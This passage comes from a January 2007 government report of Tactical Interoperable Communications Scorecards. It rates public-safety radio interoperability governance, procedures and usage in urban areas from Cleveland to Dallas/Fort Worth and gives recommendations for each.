regional interoperable communications resources to improve proficiency (e.g., radio cache and gateways) • Involve additional local, state, and federal agencies in training and exercises • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview In the UA, the City of Cleveland and remaining agencies in Cuyahoga County operate 20 very high frequency, 20 ultra high frequency, and seven 800 megahertz (MHz) radio systems. Interoperability is achieved by sharing radios, gateways, and channels (National Public Safety Planning Advisory Committee and Multi-Agency Radio Communications System [MARCS]). Various agencies have access to the State of Ohio MARCS 800 MHz digital trunked system’s radios for command and control during multi-agency incidents. The City of Cleveland and Cuyahoga County are in the process of developing the Cuyahoga Area-wide Radio System (CARS). CARS is a countywide Project 25-compliant 800 MHz digital trunked system that will be used by all agencies in the jurisdiction. Urban/Metropolitan Area A-76 January 2007 Tactical Interoperable Communications Scorecards Columbus, OH Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The Columbus Urban Area (UA) includes the City of Columbus and Franklin County, inclusive of all jurisdictions within that county. Governance: Advanced Implementation The Franklin County Board of Commissioners and the Mayor of the City of Columbus have made public safety communications a priority for the UA and have developed a governance structure that demonstrates their focus on tactical communications interoperability. The Homeland Security Advisory Committee, which they established, created a subcommittee for interoperable communications technical issues and additional subcommittees to address other topics, including operational and training issues. The governance structure has been in place for interoperable communications since the establishment of the 800 megahertz (MHz) Advisory Committee in 1995, has been refined through work with COPS in 2003, and more recently through the Tactical Interoperable Communications Plan (TICP) process. Additionally, the Columbus UA has an interoperability strategic plan in place and is accepted by all participating agencies within the UA prior to the development of the TICP. Franklin County officials indicated that they were preparing to begin strategic planning efforts beyond the UA, including all of the 14 counties in the Ohio Homeland Security Region 4. Political leaders (e.g., the Franklin County Board of Commissioners and the Mayor of the City of Columbus) have provided policy and fiscal support for interoperable communications issues, and budgeting is developed based on regional (rather than agency-specific) needs. Agencies have individually agreed in writing to support their own required operational and maintenance costs following the expiration of equipment warranty periods across the shared system. The area is encouraged to consider whether their current approach to prioritizing and sustaining funding is sufficient to support its long-term interoperability goals of including additional agencies as part of the 800 MHz shared system. The Columbus UA has an ongoing maintenance and upgrade plan that is supported by user fees. Recommendations: • Continue to recruit and involve organizations, even if they are not specifically involved in the decision- making group • Implement the review and revision of strategic plans (beyond 1 year) according to the needs of the UA • Encourage a regional interoperability funding strategy, including funding sources that will be needed to address long-term goals (i.e., new investments, extending the existing shared system) Standard Operating Procedures (SOP): Advanced Implementation The Columbus UA has had communications interoperability SOPs in place for more than a decade, and all existing SOPs were incorporated into the TICP. As with a previous United States Department of Justice Office of Community Oriented Policing Services (COPS) grant, the UA used the TICP development process as an opportunity to update and enhance its policies. The UA is commended for taking aggressive steps in disseminating these policies through bi-monthly training sessions for member agencies based on the TICP Implementation Workshop. The National Incident Management System (NIMS)/Incident Management Urban/Metropolitan Area A-77 January 2007 Tactical Interoperable Communications Scorecards System (ICS) has been implemented for more than 1 year, and the successful use of these procedures (including those regarding Communications Unit Leader [COML] position) was demonstrated during the UA’s TICP validation exercise (e.g., the COML was identified). Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation In addition to regular usage of interoperability resources for real-world responses, the Columbus UA has undertaken an aggressive training and exercise plan for communications. The UA holds regular training exercises, including monthly exercises on the use of its gateways. The benefit of this regular usage was demonstrated in the TICP validation exercise, which showed proficiency in each category of interoperable equipment. For example, evaluators observed the effective set-up and activation of the gateway listed in the TICP. In addition, interoperable communications was provided for regional responders above and beyond the core responders, including Franklin County Sheriff’s Office, Franklin County Emergency Management, Ohio Department of Transportation, Ohio National Guard, Federal Bureau of Investigation, and Bureau of Alcohol, Tobacco, Firearms, and Explosives. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Currently, two major radio systems are used by governmental agencies in Franklin County. Both systems are 800 MHz, Motorola SMARTNET II™, trunked analog radio systems. Recent upgrades were made to dispatch consoles to promote and provide for “interoperability” dispatching. The majority of the public safety agencies in the county are using the City of Columbus system, while many of the public service agencies are on the Franklin County system. These two systems provide interoperability by using common technology, allowing talk groups from both systems to reside on the same radio. The vision of the Columbus UA is first to coordinate interoperability in the Columbus area and second, to continue to incorporate other counties within Homeland Security Region 4 into the committee. To foster achievement of this objective, the committee’s goal is to permit all of the government agencies in Region 4 to gain interoperability with any other agency in the area by accomplishing the following— • Establishing the ability to change talk groups on any radio • Using the statewide Multi-Agency Radio Communications System • Connecting disparate radio systems through a gateway device or via console patches at all dispatch centers • Distributing radios to other agencies to provide interoperability with local radio systems and channels. Urban/Metropolitan Area A-78 January 2007 Tactical Interoperable Communications Scorecards Toledo, OH Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Toledo Urban Area (UA) includes 22 jurisdictions—the cities of Maumee, Sylvania, Oregon, and Toledo; and the townships of Harding, Jerusalem, Monclova, Providence, Richfield, Spencer, Springfield, Swanton, Sylvania, Washington, and Waterville; and the villages of Berkey, Holland, Neapolis, Ottawa Hills, Swanton, Waterville, and Whitehouse. The Toledo UA is located in Lucas County in northern Ohio. Governance: Intermediate Implementation 10% 10%15% 15% The Governance Board, a formalized group appointed by county commissioners, has been focused on the Tactical Interoperable Communications Plan (TICP), which has provided communications interoperability agreements for agencies within the county, and implementing a new countywide 800 megahertz (MHz) Project 25 (P25) system. With strong support from local leaders, the new system is expected to markedly improve multi-agency communications within Lucas County. Funding has been put in place to support implementation of the new system, and it is assumed that a newly passed 9-1-1 levy will also support ongoing system operation. The Toledo UA funding strategy is considered a best practice for diversifying funding sources for sustainable communications interoperability funding. Despite the partnerships involved in the creation of the countywide 800 MHz system, the governance group has not taken steps to ensure that interoperability is achieved with surrounding counties, state agencies, and additional support organizations. Although some long-term thinking is occurring to consider communications interoperability challenges with agencies outside of the UA, an overall strategic plan does not exist to facilitate regional interoperability. Toledo officials indicated that these strategic planning is a responsibility of the Countywide Safety Communication System Advisory Committee and that they hoped to address this when additional funding became available. Recommendations: • Continue to involve state and federal organizations (e.g., state police, federal agencies operating in area) in the group, ensuring that their roles and responsibilities are documented within the group, and consider more regular participation in statewide interoperability committee efforts • Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to support partnerships on regional interoperability • Consider broadening agreements to include state, federal, and international agencies • Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Enhance regional interoperability funding strategy and methods to include additional long-term (e.g., 3 to 5 years) funding sources in line with interoperability goals and as documented through the strategic planning process • Leverage partnerships involved in regionwide system development to emphasize broadening aspects of interoperability (e.g., strategic planning, additional agreements among state and federal agencies) 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area A-79 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP provides the first regional communications interoperability SOPs for the Toledo UA. Toledo officials indicated that policies were previously in place for computer-aided dispatch operations, but not voice interoperable communications. While these interoperability SOPs are less mature, the UA has done well in disseminating and applying them. Since completing the TICP, the UA has taken numerous steps to distribute the TICP (e.g., distributed to all included organizations and dispatch centers, distributed through TICP Implementation Workshop) although officials recognize that “it may take time to get everyone on board 100 percent.” This statement was proven accurate during the TICP validation exercise, which noted some challenges with operating within the procedures established by the TICP. With respect to communications requirements in the National Incident Management System (NIMS)/Incident Command System (ICS), the Toledo UA has been implementing these procedures more than 1 year. As noted in the After Action Report, the UA “can benefit from continued basic and advanced training in NIMS/ICS, including areas such as the rapid establishment of Unified Command, the development of Incident Action Plans, and appropriate ICS terminology.” The UA has begun incorporating the communications unit into its command structure and indicated that this unit will participate in future training on its responsibilities. Recommendations: • Continue to distribute SOPs throughout the UA, and train all participating agencies • Ensure all regional interoperability SOPs are in place, in practice, and increase proficiency in their use • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Toledo UA regularly uses shared channels and shared systems for day-to-day and mutual aid responses. It was noted in the After Action Report that the UA demonstrated familiarity with and use of interoperable communications equipment for effective communications (e.g., shared channels). However, some deficiencies were observed. For example, the use of radio caches created problems when the radios were distributed to agencies that were not trained on their use by the Communications Unit Leader. Additionally, while multiple gateways were successfully used, some agencies were unable to communicate because of the failure to establish a console patch. Recommendations: • Regularly test and exercise deployment of regional interoperability resources to improve proficiency (e.g., dedicated position available that understands operations and activation of the console patch) • Continue to involve additional state and federal agencies in training and exercises • Consider adding communications interoperability as component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Toledo Police and the Fire and Rescue Departments use the Toledo 800 MHz trunked radio system. The Lucas County Sheriff’s Office operates on an ultra high frequency (UHF) system; however, many command and control personnel have access to the Toledo 800 MHz system. All other agencies within Lucas County are on various very high frequency and UHF systems. Various agencies have access to the State of Ohio Multi-Agency Radio Communications System (MARCS) 800 MHz digital trunked radios for command and control during incidents. All agencies within Lucas County will migrate to the Countywide 800 MHz Digital Communications System which is designed to meet P25 standards, beginning in June/July 2007. Interoperability is achieved through cached radios, gateways, and shared channels (on the Toledo system, and National Public Safety Planning Advisory Committee and MARCS). Urban/Metropolitan Area A-80 January 2007 Tactical Interoperable Communications Scorecards Central Oklahoma, OK Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Central Oklahoma Urban Area (UA) is composed of Oklahoma Office of Homeland Security (OKOHS) Regions 6 (Logan, Lincoln, Pottawatomie, Cleveland, McClain, Canadian counties and the cities contained therein) and Region 8 (Oklahoma City and Oklahoma County and the cities contained therein). Governance: Intermediate Implementation 10% 10%15% 15% The Central Oklahoma Urban Area Security Initiative (COUASI) Working Group is comprised of 26 executive level individuals who represent more than 13 response, governance, and public safety disciplines. The Working Group established the Interoperable Communications Subcommittee to create the Tactical Interoperable Communications Plan (TICP). The subcommittee is comprised of technical communications experts on each of the communications networks within the COUASI. The Subcommittee currently includes limited local public safety organizations, but is working to expand membership (e.g., to include rural fire and law enforcement agencies). Additional local, state, and federal participation will assist in further developing interoperable communications in the UA. Beyond the TICP, there are only some formal agreements among local law enforcement and fire, and the UA is working to create additional formal partnerships among the remaining agencies in the area. From the information provided, COUASI does not have a documented and formal strategic plan for regional communications interoperability. Organizations appear to develop their budgets and procure communications equipment with consideration for regional interoperability. However, the UA does not seem to have a sustainable funding plan in place for lifecycle communications system costs. The UA’s leadership demonstrates an understanding of the importance of interoperable communications and is providing fiscal and political support (e.g., initiating sales tax funding, and mayoral representative on communications subcommittee). The establishment of sales taxes to support communications improvement is commendable. Recommendations: • Expand Interoperable Communications Subcommittee membership to include rural, state, federal, and tribal agencies in addition to State Department of Homeland Security and the Federal Bureau of Investigation (FBI) • Consider further integration of technical and operational working groups to ensure requirements are met • Reference all applicable agreements (e.g., memorandum of understanding [MOU], intergovernmental agreements) in the TICP and store them in an accessible format • Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all participating agencies to support partnerships on regional interoperability and establish a regular review process • Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance, that takes into account a long-term funding strategy • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate development and implementation of a regional approach to long-term (e.g. 3 to 5 years) interoperability planning and sustainable funding that is consistent with the strategic plan • Continue to involve senior government leadership on interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The SOPs included in COUASI’s TICP represent the area’s first consensus interoperable communications plan. The absence of a formal set of interoperability SOPs prior to the TICP development process indicates that public safety agencies in the UA have not, until recently, been conforming to a single set of SOPs, and familiarity must be less than optimal. The UA is taking steps to disseminate the newly created SOPs and has plans for conducting training on them. 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-81 January 2007 Tactical Interoperable Communications Scorecards During the exercise, the participants experienced some procedural problems with shared channels and would benefit from adding region-specific policies and procedures to the TICP. Although National Incident Management System (NIMS)/Incident Command System (ICS) implementation began less than 1 year ago, the participants in the TICP validation exercise demonstrated familiarity with the processes and only had a few minor problems (e.g., Communications Unit Leader [COML] designation was not officially announced, lack of communication between the COML and dispatch, as their procedures required). The annual review process for the COML training requirements and procedures and OKOHS compliance process demonstrate the UA’s clear dedication to NIMS/ICS, which is commendable and recommended as a best practice. Recommendations: • Continue to develop and distribute regional interoperability SOPs (beyond the TICP), and put them into practice through regular training, exercise, and use (e.g., dispatch center and COML communications) • Consider scheduling a regular review and update process of policies and procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance • Ensure that the best practice of having oversight committee to monitor NIMS/ICS training remains a regional priority Usage: Established Implementation 15% 20% 20% 20% COUASI frequently uses the available means of interoperable communications (e.g., shared channels, shared systems, and gateways) in day-to-day activities. During the exercise, the first responder participants were able to establish communications with the interoperable equipment with minimal problems (e.g., some difficulties in using shared channels). Despite these demonstrated successes and although the TICP validation exercise met set standards, broader state and federal agencies were not widely included. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was therefore limited. The UA is encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future tests. Recommendations: • Regularly test and exercise deployment of regional communications interoperability resources (e.g., emergency medical services [EMS] had difficulty with shared channels) to improve proficiency • Consider including additional state and federal agencies (e.g., Oklahoma Department of Transportation, FBI) in future exercises and day-to-day use • Consider adding communications interoperability as an evaluation component for all future exercises and daily activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The UA has made great strides toward achieving its vision of consistent 800 MHz interoperable communications system. Each city in the UA uses a radio system for its jurisdictional police, fire, and EMS agencies. Each radio is configured with interoperability channels that are shared with other agencies. No interoperable talk groups are identified in the TICP that are used by agencies outside of the system jurisdiction. Cross-jurisdictional interoperability requires technology such as gateways or shared frequencies. Four gateways are available but the 64-port Causeway Switch managed by Oklahoma City provides the greatest degree of interoperability. National Public Safety Planning Advisory Committee channel usage and Emergency Operations Center coordination are minimal in this UA. In the future, Oklahoma City plans to implement a crossband switch that will connect mutual aid channels. In addition, the State of Oklahoma has a 5-year plan to extend its Motorola 800 MHz trunked system along major highways (i.e., I35, I44, and I40 East). Urban/Metropolitan Area A-82 January 2007 Tactical Interoperable Communications Scorecards Portland, OR Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Portland Urban Area (UA) includes the Oregon counties of Clackamas, Columbia, and Multnomah, and Washington, and Clark County in Washington State. Governance: Intermediate Implementation 10% 10%15% 15% The Portland Dispatch Center Consortium (PDCC) across and the associated Urban Area Security Initiative communications working group provide coordination in the area for communications interoperability issues. The PDCC was established by intergovernmental agreement and has been formalized through a charter for more than 3 years. Some formal partnerships among participating agencies exist through memoranda of understanding (MOU), while other jurisdictions still operate through informal cooperation. The five counties in the UA have developed strategic plans, and the Portland UA is now in the process of consolidating these county plans into an overarching regional strategic plan for communications interoperability. As such, the UA does not have an accepted strategic plan. The Portland UA indicated that members have come together to pursue a regional approach to funding; however, their interoperability priorities appear to be driven by available grants rather than a long-term, sustainable funding strategy. This funding strategy, as well as support from local and state leaders, will be critical as key shared systems approach the end of their lifecycles. Recommendations: • Involve state and federal organizations (i.e., include applicable State of Washington agencies) in the decision-making group, document roles and responsibilities, and • Ensure that the UA becomes actively engaged in state communications interoperability committee efforts • Document and formalize agreements (e.g., MOUs) among all participating agencies to support partnerships on regional interoperable communications • Continue to develop and implement a strategic planning process (beyond the Tactical Interoperable Communications Plan [TICP]), with participant approval, adoption, and acceptance • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Encourage the development of a regional interoperability funding strategy inclusive of long-term (e.g., 3 to 5 years) funding sources (in addition to grants) • Continue to broaden and champion a governance structure that would more fully support regional communications interoperability • Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically focus on interoperable communications. Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Portland UA TICP represents the first formal regionwide interoperable communications SOPs or the area. Prior to the development of the TICP, the UA had informal, undocumented SOPs that were incorporated into the TICP. The UA has taken steps to distribute the interoperable communications SOPs 10% 10%15% 15% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area A-83 January 2007 Tactical Interoperable Communications Scorecards (e.g., distributing the policies through the TICP Implementation Workshop, including applicable SOPs with gateways and radio caches). In regards to command and control procedures, the Portland UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and training is ongoing. The TICP validation exercise demonstrated some gaps with the communications procedures set forth by NIMS/ICS and the communication unit, specifically how the communications unit did not precede the unit identifier with agency name, and no name was given to the incident. Recommendations: • Document, update, and put into practice regional communications interoperability SOPs, and continue to disseminate them throughout the UA • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Portland UA uses shared systems and shared channels on a daily basis. Agencies report the regular use of gateway systems, which are needed to connect disparate 800 megahertz (MHz) and very high frequency (VHF) systems. The UA demonstrated successful use of each category of interoperable equipment during the TICP exercise. For example, the local and regional first responders were able to communicate with other units using a set of shared talk groups and shared channels. The level of familiarity and frequency of use of interoperable communications equipment among local first responders was adequate, but the degree to which this proficiency extends to interoperability with state and federal agencies is not identified as such agencies were not fully involved in the exercise. The Portland UA is encouraged to build on this success by further incorporating state, federal, and support agencies in its TICP and future exercises. Recommendations: • Involve state and federal agencies in training and exercises • Regularly test and exercise the deployment of regional interoperability resources to improve proficiency (e.g., radio cache) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Portland UA has a number of shared radio systems operating primarily in the 800 MHz and VHF bands. Communication between systems in different bands is established using gateways in conjunction with the national mutual aid frequencies. The Portland UA is currently planning for 800 MHz re-banding. In conjunction with the required reprogramming associated with the re-banding process, the Portland UA will simultaneously establish common naming conventions for talk groups on the regional shared systems. Some of the shared systems provide overlapping coverage. Thus, a single regional Project 25 shared system is a potential next step for the UA. Urban/Metropolitan Area A-84 January 2007 Tactical Interoperable Communications Scorecards Philadelphia, PA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The Philadelphia Urban Area (UA) includes Bucks, Chester, Delaware, Montgomery, and Philadelphia counties. In addition, the UA has expanded to include the following: Camden, Gloucester, Salem, Burlington, and Cumberland counties in New Jersey and New Castle County in Delaware. Governance: Intermediate Implementation 10% 10%15% 15% The Philadelphia UA communications subcommittee reports to the Southeastern Counter Terrorism Task Force and includes local, state, and federal participating agencies (e.g., ports authorities, State Police, U.S. Coast Guard). Based on the provided documentation, it was not noted whether the subcommittee has established authorities (through a published charter) or clearly delineated roles and responsibilities. The UA has formal partnerships among the public safety organizations and formal agreements among most of the agencies in the UA (specifically the counties in Pennsylvania), which facilitates partnerships and multi- agency coordination. However, the formal agreements and partnerships do not yet include all first responder agencies from the New Jersey (where individual counties do not have the power to enter into a mutual aid agreement and must involve the state government for approval) and Delaware counties included in the recently expanded UA. The Philadelphia UA is developing a strategic plan for interoperable communications, but no plan is yet published. Completing and distributing a plan would aid in solidifying interoperability goals that take into account all counties in the designated UA. Using Urban Area Security Initiative funds, the UA develops budgets and procures equipment according to strategic interoperability goals; however, it is unclear how sustainable operations and maintenance funding for interoperability equipment and solutions will be obtained. Recommendations: • Consider distributing a formal charter to all participating agencies and continue to meet regularly and proactively recruit new participants • Put into practice agreements (e.g., memoranda of understanding) and establish processes to develop and review agreements at least every 3 to 5 years and after significant events or upgrades • Develop, document, and implement a regional strategic plan (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (in addition to grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability in addition to grants • Involve senior government leadership broadly across the UA on interoperability • Ensure that discipline-specific leadership is actively involved in promoting the adoption of the National Incident Management System (NIMS)/Incident Command System (ICS) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Philadelphia UA has incorporated existing policies, practices, and procedures into its TICP and is developing system usage rights for inclusion in the plan. The UA distributed its SOPs to all included 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-85 January 2007 Tactical Interoperable Communications Scorecards organizations and participated in the TICP Implementation Workshop to train the participating agencies on the SOPs. Although the UA had existing SOPs and provided training on them, the participants experienced some minor procedural problems during the TICP validation exercise (e.g., dropped initial gateway patch, activation procedures were not strictly followed). Despite officially implementing the NIMS/ICS less than 1 year ago, the exercise evaluators reported that the Philadelphia UA’s agencies demonstrated “textbook deployment” of incident command, and the Communications Unit Leader effectively performed his duties during the exercise. Officials within the area indicated that further training to expand NIMS/ICS implementation beyond fire services was being established. Recommendations: • Put regional communications interoperability SOPs (beyond the TICP) into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage to increase proficiency in implementation of these policies (e.g., to correct gateway issues with activation procedures) • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Philadelphia UA reports the ability to use communications interoperability solutions well in task force situations. For day-to-day events, however, the TICP validation exercise demonstrated that “some participants have not had sufficient practice in the use of the equipment.” While the interoperable communications equipment (e.g., shared systems, shared channels, gateways) was generally effectively demonstrated during the TICP validation exercise, the exercise evaluators and the After Action Report clearly indicate that some participants were unfamiliar with the interoperable equipment and assets. A full understanding of all agencies’ capability within the UA is hard to gauge given that the TICP validation exercise did not include broad participation by agencies within the Philadelphia UA, or counties in Delaware in New Jersey due to the expedited timeline for completion and conflict with another regional exercise. Recommendations: • Implement a regular training schedule (e.g., in-service refreshers and basic training courses) and regular exercises that put regional communications interoperability equipment into practice to increase proficiency • Consider adding communications interoperability as a component of all future exercises across the UA and ensure that all jurisdictions within the area are involved in such events Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Philadelphia UA operates 19 separate communications systems, including very high frequency, ultra high frequency, 500 megahertz (MHz), and 800 MHz conventional and trunked systems to support various public safety agencies. The City of Philadelphia operates an 800 MHz, Motorola SmartZone™ system. Limited interoperability is provided using gateways, radio caches, and shared channels. The Southeastern Pennsylvania Transportation Authority operates a SyTech Radio Inter-Operability System (RIOS) gateway, which it allows county and city agencies access upon request to improve interoperability among regional responders. The mid-term strategy for the UA is to implement a microwave communication system and voice radio network that will provide secure communications links between 11 county dispatch and 11 Emergency Operations Centers in the UA. Urban/Metropolitan Area A-86 January 2007 Tactical Interoperable Communications Scorecards Pittsburgh, PA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Pittsburgh Urban Area (UA) includes the City of Pittsburgh and the counties of Allegheny, Armstrong, Beaver, Butler, Cambria, Fayette, Greene, Indiana, Lawrence, Mercer, Somerset, Washington, and Westmoreland. Governance: Established Implementation 15% 20% 20% 20% The governance structure developed by the Pittsburgh UA can serve as a model for other jurisdictions. It is based on 8 years of success in working regionally across a complex mix of jurisdictions to develop published and active mutual aid agreements and communications interoperability solutions (e.g., Southwestern Pennsylvania Emergency Response Group). The Pittsburgh UA leadership is a model for other UAs that include a large number of jurisdictions. The UA has an existing plan for strategic and operational interoperable communications efforts. However, no regular review process for the strategic plan has been established. Public safety agencies in the Pittsburgh UA develop budgets based on strategic goals of the area and work to ensure that equipment purchases are compatible. However, there is no regional solution for recurring and lifecycle costs because grants are the main source of funding. Recommendations: • Identify a regular (i.e., annual) review cycle to update regional strategic plan • Encourage regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources to cover operations, maintenance, and other recurring costs (in addition to grants) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Pittsburgh UA Tactical Interoperable Communications Plan (TICP) is built on existing formal and informal policies and procedures for interoperable communications that have been in place for a number of years. In general, the UA demonstrated some success in the use of SOPs during the TICP validation exercise, but a few gaps were displayed (e.g., unit identifiers not correctly used, problems with fixed and mobile gateways) that highlight minor weaknesses in the application of the SOPs. The UA is currently addressing these issues and plans to finish documenting and disseminating updated SOPs to all agencies by March 2007. Although the Pittsburgh UA first responders have not yet fully implemented the National Incident Management System (NIMS)/Incident Command System (ICS), they are making excellent progress toward developing and disseminating NIMS-compliant SOPs. Recommendations: • Consider regularly exercising SOPs that test the UA’s proficiency (e.g., document shared channels), and distribute updated plans to all included organizations • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-87 January 2007 Tactical Interoperable Communications Scorecards Usage: Established Implementation 15% 20% 20% 20% Currently, there is adequate communications interoperability within each of the 13 counties, but limited interoperability among the 13 counties and the State of Pennsylvania. During the TICP validation exercise, Pittsburgh demonstrated the ability to regularly and successfully use existing interoperability equipment and showed proficiency and familiarity with some communications equipment including radio caches and shared channels. However, during the TICP validation exercise, users displayed some difficulty in using specific interoperability solutions (e.g., deactivation procedure for gateways). For example, the TICP validation exercise exposed some problems with patching the Westmoreland County public safety agencies (e.g., police department, fire department) 800 megahertz (MHz) system to a channel used by the incident command. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was not possible. While the exercise met the stated requirements, the area is encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future tests. Recommendations: • Continue to train and exercise on available technology (e.g., gateway solutions) to improve familiarity of use, and work toward seamless integration of interoperable communications solutions • Consider adding communications interoperability as a component of all future exercises to continue to build awareness of and fluency with communications interoperability resources Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Pittsburgh UA, Pennsylvania Region 13, has 102 shared systems. The 13 counties have various systems including ultra high frequency (UHF), very high frequency (VHF), 800 MHz Motorola trunked systems, and 700 MHz systems. Currently, there is adequate communications interoperability within each of the 13 counties, but limited interoperability among the 13 counties and the State of Pennsylvania. Pennsylvania has a statewide 800 MHz system and a M/A-COM Open Sky™ System that is shared with the 13 counties in the UA. The UA uses shared channels, gateways, (15 mobile, 4 fixed), and console patches (not gateways). Thirty-four agencies have radio caches, including 800 MHz, dual band 700 MHz and 800 MHz, UHF, and VHF High Band radios, for a total of around 583 cache radios. The Pittsburg UA is planning to use shared channels, gateways, and radio caches to improve communications interoperability among 1,400 agencies spread out over 1,200 square miles. There are no additional technology initiatives planned for improving communications interoperability at this time. Urban/Metropolitan Area A-88 January 2007 Tactical Interoperable Communications Scorecards Dallas/Fort Worth, TX Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Dallas/Fort Worth Urban Area (UA) includes the cities of Dallas, Fort Worth, and Arlington, as well as designated public safety agencies located in Collin, Dallas, Denton, Johnson, Kaufman, Parker, Rockwall, Tarrant, and Wise counties. Governance: Intermediate Implementation 10% 10%15% 15% Through the North Central Texas Council of Governments (NCT COG) structure, a regional communications committee has taken key steps on communications interoperability issues since its formation in October 2005. One key step has been the creation of a Regional Interoperable Communications Agreement that was recently approved by the communications committee. Dallas/Fort Worth officials indicated that they had come together to pursue regional funding; however, their communications interoperability priorities appear to be driven by available grants rather than a long-term funding strategy that would take into account diversified and sustainable funding sources. This is an issue that the area is currently addressing. With almost 300 agencies involved in interoperability efforts, it was difficult to determine whether the UA had coordinated all necessary published and active regional agreements to include all public safety organizations. Most Dallas/Fort Worth UA organizations have memoranda of understanding (MOU) in place with the state, and with federal agencies (e.g., Federal Bureau of Investigation). Dallas/Fort Worth has also faced the challenge of getting all participating organizations to adopt a regional interoperability strategic plan (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) because of the large number of agencies. Given the large number of agencies that are included in the Dallas/Fort Worth UA, challenges exist for identifying and including all of the necessary agencies in interoperable communications activities (e.g., formalizing all partnerships in agreements, gaining acceptance on interoperable communications plans). Recommendations: • Continue to develop published and active agreements (e.g., MOUs) to facilitate interoperability with all public safety organizations within the UA • Develop a regional strategic plan for communications interoperability and obtain acceptance from all participants • Encourage the development of a regional interoperability funding strategy, including sustainable (e.g., 3 to 5 years) funding sources (in addition to grants) that address long-term communications interoperability needs • Establish, as a priority across the UA, regional interoperability procedures and associated training that are accepted by leadership Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Dallas/Fort Worth UA TICP represents the first formal interoperable communications regional SOPs for the area. Prior to the development of the TICP, the UA had informal SOPs to facilitate regionwide communications interoperability; these distinct SOPs were combined in the TICP. However, as noted in the 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area A-89 January 2007 Tactical Interoperable Communications Scorecards TICP Peer Review, the SOPs are not standardized throughout the UA. Additionally, the UA has not identified a specific time to provide training on the SOPs. In regards to command and control practices, the UA has implemented the National Incident Management System (NIMS)/Incident Command System (ICS) more than 6 months ago across all disciplines. This short 